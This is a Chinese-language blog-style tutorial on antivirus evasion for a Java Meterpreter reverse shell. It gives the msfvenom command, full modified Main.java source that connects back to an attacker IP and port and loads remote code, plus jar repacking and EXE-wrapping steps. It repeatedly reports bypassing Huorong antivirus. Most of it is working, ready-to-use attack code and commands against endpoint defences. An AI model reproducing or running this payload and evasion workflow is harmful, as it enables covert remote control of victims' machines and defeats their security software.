免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE

Shellcode-生成/上线

1.msf生成shellcode

命令：msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar

2.msf设置监听

3.执行msf生成的shellcode jar包，成功上线

命令：java -jar msf.jar

4.上传到目标系统，直接被火绒检测出木马

 

java免杀-修改源码进行免杀

1.点击启动jd-gui，将生成的msf.jar拖入其中进行反编译，点击file—save all sources导出反编译后的内容

下载jd-gui：https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar

2.将导出的内容进行修改，然后在进行打包

修改后内容：

文件名：META-INF\MANIFEST.MF：

Manifest-Version: 1.0
Class-Path: .
Main-Class: Main

文件名：config：1

文件名:Main.java：修改其中的ip和端口

import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;public class Mainextends ClassLoader
{private static final String JAVA = String.valueOf(System.getProperty("java.home")) + "/bin/java.exe";public static void main(String[] paramArrayOfString) throws Exception { runInBackground(); }public static void runInBackground() throws Exception {Class<Main> clazz = Main.class;File file1 = File.createTempFile("~spawn", ".tmp");file1.delete();File file2 = new File(String.valueOf(file1.getAbsolutePath()) + ".dir");file2.mkdir();File file3 = new File(file2, String.valueOf(clazz.getName().replace(".", "/")) + ".class");File file4 = new File(file2, "config");if (readFile(Main.class, "config").equals("1")) {writeFile(null, "config", file2, false, "0");writeFile(clazz, String.valueOf(clazz.getName().replace(".", "/")) + ".class", file2, true, null);} else {getShell();} Runtime.getRuntime().exec(new String[] { JAVA, "-classpath", file2.getAbsolutePath(), clazz.getName() });Thread.sleep(2000L);File[] files = { file3, file4, file2 }; byte b; int i; File[] arrayOfFile;for (i = (arrayOfFile = files).length, b = 0; b < i; ) { File f = arrayOfFile[b]; f.delete(); b++; }}public static void writeFile(Class clazz, String name, File dir, boolean ifIsfile, String config) throws IOException {InputStream inputStream = null;if (ifIsfile) inputStream = clazz.getResourceAsStream("/" + name); File file = new File(dir, name);file.getParentFile().mkdirs();FileOutputStream fileOutputStream = new FileOutputStream(file);byte[] b = new byte[4096];if (ifIsfile) {int i;while ((i = inputStream.read(b)) != -1) {fileOutputStream.write(b, 0, i);}} else {fileOutputStream.write(config.getBytes());} if (inputStream != null) inputStream.close(); fileOutputStream.close();}public static String readFile(Class clazz, String name) throws IOException {InputStream inputStream = clazz.getResourceAsStream("/" + name);StringBuffer str = new StringBuffer();byte[] b = new byte[1024];int i;while ((i = inputStream.read(b)) != -1) {str.append(new String(b, 0, i));}inputStream.close();return str.toString();}public static void getShell() throws Exception {InputStream inputStream1 = null;OutputStream outputStream = null;int j = (new Integer("4444")).intValue();String str4 = "192.168.206.129";Socket socket = null;if (str4 != null) {socket = new Socket(str4, j);}inputStream1 = socket.getInputStream();outputStream = socket.getOutputStream();(new Main()).bootstrap(inputStream1, outputStream);}private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {try {Class<?> clazz;DataInputStream dataInputStream = new DataInputStream(paramInputStream);int i = dataInputStream.readInt();do {byte[] arrayOfByte = new byte[i];dataInputStream.readFully(arrayOfByte);resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));i = dataInputStream.readInt();} while (i > 0);Object object = clazz.newInstance();clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });} catch (Throwable throwable) {}}
}

打包命令：javac Main.java

3.执行命令，重新编译为jar包

命令：jar cvfm 名称.jar META-INF/MANIFEST.MF .

4.将jar包上传到目标系统，成功绕过火绒查杀

5.执行jar包，msf成功上线

 

 

Java免杀-JAR包打包EXE执行免杀

将jar打包成exe教程：https://www.jb51.net/article/236000.htm

需要使用的工具：

exe4j-下载链接：https://exe4j.apponic.com/

inno-下载链接：https://jrsoftware.org/isdl.php

一、需要jdk环境才能运行的exe

1.使用exe4j将msf生成的jar打包成exe程序，成功绕过火绒

2.在目标系统有jdk环境的情况下，执行成功上线

 

二、不需要jdk环境也能运行的exe

1.将exe4j打包的exe程序再使用inno工具和jdk环境打包合并到一起，将文件上传目标系统，成功绕过检测

注：什么jB作用没有。